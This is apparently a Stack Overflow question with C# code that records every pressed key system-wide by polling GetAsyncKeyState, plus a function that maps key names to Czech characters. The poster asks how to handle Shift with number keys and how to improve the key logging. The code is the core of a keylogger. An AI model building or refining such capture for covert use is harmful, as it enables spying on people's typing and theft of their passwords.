Hello Stack Overflow community!
This is my function that catches every pressed key:
public static string GetBuffKeys()
{
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
return buffer;
}
To have a little formating, I using this function that replaces me characters with new one:
public static class KeyControl
{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);
public static string ReplaceChars(string text)
{
text = text.Replace("Space", " ");
text = text.Replace("Delete", "<Del>");
text = text.Replace("LShiftKey", "");
text = text.Replace("ShiftKey", "");
text = text.Replace("OemQuotes", "!");
text = text.Replace("Oemcomma", "?");
text = text.Replace("D8", "á");
text = text.Replace("D2", "ě");
text = text.Replace("D3", "š");
text = text.Replace("D4", "č");
text = text.Replace("D5", "ř");
text = text.Replace("D6", "ž");
text = text.Replace("D7", "ý");
text = text.Replace("D9", "í");
text = text.Replace("D0", "é");
text = text.Replace("D1", "+");
text = text.Replace("Back", "<==");
text = text.Replace("LButton", "");
text = text.Replace("RButton", "");
text = text.Replace("NumPad", "");
text = text.Replace("OemPeriod", ".");
text = text.Replace("OemSemicolon", ",");
text = text.Replace("Oem4", "/");
text = text.Replace("LControlKey", "");
text = text.Replace("ControlKey", "");
text = text.Replace("Enter", "<ENT>");
text = text.Replace("Shift", "");
text = text.Replace("CapsLock", "");
text = text.Replace("Oem6", "(");
return text;
}
But I want replace D* (D1, for example) with number, if Shift key is pressed. It is possible? And if not, what is better method for key logging than buffer all pressed keys? Thanks a lot!